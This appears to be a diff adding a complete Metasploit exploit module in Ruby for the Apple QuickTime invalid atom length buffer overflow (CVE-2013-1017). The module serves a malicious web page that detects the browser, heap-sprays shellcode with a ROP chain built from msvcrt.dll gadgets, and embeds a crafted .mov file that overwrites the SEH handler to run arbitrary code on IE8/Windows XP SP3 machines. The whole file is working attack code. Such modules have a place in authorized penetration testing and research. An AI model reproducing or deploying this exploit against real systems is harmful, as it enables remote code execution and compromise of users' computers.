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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit4 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 14 | + include Msf::Exploit::RopDb |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "Apple Quicktime Invalid Atom Length Buffer Overflow", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a vulnerability found in Apple Quicktime. The flaw is |
| 21 | + triggered when Quicktime fails to properly handle the data length for certain |
| 22 | + atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer |
| 23 | + overflow by loading a specially crafted .mov file, and allows arbitrary |
| 24 | + code execution under the context of the user. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'pyoor', # Original Discovery & PoC (overlapped finding) |
| 30 | + 'Tom Gallagher', # Original Discovery (overlapped) |
| 31 | + 'Paul Bates', # Original Discovery (overlapped) |
| 32 | + 'sinn3r' # Metasploit |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'CVE', '2013-1017' ], |
| 37 | + [ 'BID', '60097' ], |
| 38 | + [ 'URL', 'http://support.apple.com/kb/HT5770' ] |
| 39 | + ], |
| 40 | + 'Platform' => 'win', |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + # Tested Quicktime versions: |
| 44 | + # 7.7.3 (1680.64) |
| 45 | + [ 'Automatic', {} ], |
| 46 | + [ 'IE 8 on Windows XP SP3', { 'Rop' => true } ] # msvcrt (7.0.2600.5512) |
| 47 | + ], |
| 48 | + 'Payload' => |
| 49 | + { |
| 50 | + 'BadChars' => "\x00", # js_property_spray no like nilz |
| 51 | + 'StackAdjustment' => -3500 |
| 52 | + }, |
| 53 | + 'DefaultOptions' => |
| 54 | + { |
| 55 | + 'InitialAutoRunScript' => 'migrate -f' |
| 56 | + }, |
| 57 | + 'Privileged' => false, |
| 58 | + 'DisclosureDate' => "May 22 2013", |
| 59 | + 'DefaultTarget' => 0)) |
| 60 | + end |
| 61 | + |
| 62 | + |
| 63 | + def get_target(agent) |
| 64 | + return target if target.name != 'Automatic' |
| 65 | + |
| 66 | + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' |
| 67 | + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' |
| 68 | + |
| 69 | + ie_name = "IE #{ie}" |
| 70 | + |
| 71 | + case nt |
| 72 | + when '5.1' |
| 73 | + os_name = 'Windows XP SP3' |
| 74 | + end |
| 75 | + |
| 76 | + targets.each do |t| |
| 77 | + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) |
| 78 | + return t |
| 79 | + end |
| 80 | + end |
| 81 | + |
| 82 | + nil |
| 83 | + end |
| 84 | + |
| 85 | + |
| 86 | + def get_payload(t) |
| 87 | + p = '' |
| 88 | + |
| 89 | + rop = |
| 90 | + [ |
| 91 | + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] |
| 92 | + 0x77c1e844, # skip 4 bytes [msvcrt.dll] |
| 93 | + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] |
| 94 | + 0xffffffff, |
| 95 | + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] |
| 96 | + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] |
| 97 | + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] |
| 98 | + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) |
| 99 | + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] |
| 100 | + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] |
| 101 | + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] |
| 102 | + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) |
| 103 | + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] |
| 104 | + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] |
| 105 | + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] |
| 106 | + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] |
| 107 | + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] |
| 108 | + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] |
| 109 | + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] |
| 110 | + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] |
| 111 | + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] |
| 112 | + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] |
| 113 | + ].pack("V*") |
| 114 | + |
| 115 | + p << rop |
| 116 | + p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 |
| 117 | + p << payload.encoded |
| 118 | + |
| 119 | + p |
| 120 | + end |
| 121 | + |
| 122 | + |
| 123 | + def get_html(t) |
| 124 | + js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) |
| 125 | + fake_mov_name = rand_text_alpha(4) + ".mov" |
| 126 | + html = %Q| |
| 127 | + <html> |
| 128 | + <head> |
| 129 | + <script> |
| 130 | + #{js_property_spray} |
| 131 | +
|
| 132 | + var s = unescape("#{js_p}"); |
| 133 | + sprayHeap({shellcode:s}); |
| 134 | + </script> |
| 135 | + </head> |
| 136 | + <body> |
| 137 | + <embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed> |
| 138 | + </body> |
| 139 | + </html> |
| 140 | + | |
| 141 | + |
| 142 | + html.gsub(/^\t\t/, '') |
| 143 | + end |
| 144 | + |
| 145 | + |
| 146 | + def on_request_uri(cli, request) |
| 147 | + agent = request.headers['User-Agent'] |
| 148 | + print_status("Requesting: #{request.uri}") |
| 149 | + |
| 150 | + target = get_target(agent) |
| 151 | + |
| 152 | + # contype: a mov file request from Apple Quicktime |
| 153 | + if target.nil? and agent != 'contype' |
| 154 | + print_error("Browser not supported, sending 404: #{agent}") |
| 155 | + send_not_found(cli) |
| 156 | + return |
| 157 | + end |
| 158 | + |
| 159 | + print_status("Target selected as: #{target.name}") if target |
| 160 | + |
| 161 | + if request.uri =~ /\.mov$/ |
| 162 | + print_status("Sending specially crafted .mov file") |
| 163 | + send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' }) |
| 164 | + else |
| 165 | + html = get_html(target) |
| 166 | + send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) |
| 167 | + end |
| 168 | + end |
| 169 | + |
| 170 | + def sort_bytes(data) |
| 171 | + data.map { |e| [e].pack('N').scan(/../).reverse.join }.join |
| 172 | + end |
| 173 | + |
| 174 | + def rop_nop |
| 175 | + [0x6692346d].pack('V*') # Ret (QuickTime.qts) |
| 176 | + end |
| 177 | + |
| 178 | + def exploit |
| 179 | + buf = '' |
| 180 | + buf << rand_text_alpha(467) # 467 to algin the pivot |
| 181 | + 10.times { |
| 182 | + buf << rop_nop |
| 183 | + } |
| 184 | + buf << [ |
| 185 | + 0x66849239, # POP ESP; RET (QuickTime.qts) |
| 186 | + 0x20302020 # Target value for ESP (our ROP payload) |
| 187 | + ].pack('V*') |
| 188 | + buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler |
| 189 | + buf << sort_bytes([0x66923467]) # ADD ESP,280; RET (QuickTime.qts) - pivot |
| 190 | + buf << rand_text_alpha(658 - buf.length) # 658 bytes to padd up the mov file size |
| 191 | + |
| 192 | + # Quicktime File Format Specifications: |
| 193 | + # https://developer.apple.com/standards/qtff-2001.pdf |
| 194 | + mov = "\x00\x00\x06\xDF" # File size |
| 195 | + mov << "moov" # Movie atom |
| 196 | + mov << "\x00\x00\x06\xD7" # size (1751d) |
| 197 | + mov << "rmra" # Reference Movie atom |
| 198 | + mov << "\x00\x00\x06\xCF" # size (1743d) |
| 199 | + mov << "rmda" # rmda atom |
| 200 | + mov << "\x00\x00\x06\xBF" # size (1727d) |
| 201 | + mov << "rdrf" # Data reference atom |
| 202 | + mov << "\x00\x00\x00\x00" # size set to 0 |
| 203 | + mov << "alis" # Data reference type: FS alias record |
| 204 | + mov << "\x00\x00\x06\xAA" # Size (1706d) |
| 205 | + mov << rand_text_alpha(8) |
| 206 | + mov << "\x00\x00\x06\x61" # Size (1633d) |
| 207 | + mov << rand_text_alpha(38) |
| 208 | + mov << "\x12" |
| 209 | + mov << rand_text_alpha(81) |
| 210 | + mov << "\xFF\xFF" |
| 211 | + mov << rand_text_alpha(18) |
| 212 | + mov << "\x00\x08" # Size (8d) |
| 213 | + mov << rand_text_alpha(8) |
| 214 | + mov << "\x00\x00" |
| 215 | + mov << "\x00\x08" # Size (8d) |
| 216 | + mov << rand_text_alpha(8) |
| 217 | + mov << "\x00\x00" |
| 218 | + mov << "\x00\x26" # Size (38d) |
| 219 | + mov << rand_text_alpha(38) |
| 220 | + mov << "\x00\x0F\x00\x0E" |
| 221 | + mov << "AA" # Size (must be invalid) |
| 222 | + mov << rand_text_alpha(12) |
| 223 | + mov << "\x00\x12\x00\x21" |
| 224 | + mov << rand_text_alpha(36) |
| 225 | + mov << "\x00" |
| 226 | + mov << "\x0F\x33" |
| 227 | + mov << rand_text_alpha(17) |
| 228 | + mov << "\x02\xF4" # Size (756h) |
| 229 | + mov << rand_text_alpha(756) |
| 230 | + mov << "\xFF\xFF\x00\x00\x00" |
| 231 | + mov << buf |
| 232 | + |
| 233 | + @exploit = mov |
| 234 | + super |
| 235 | + end |
| 236 | +end |
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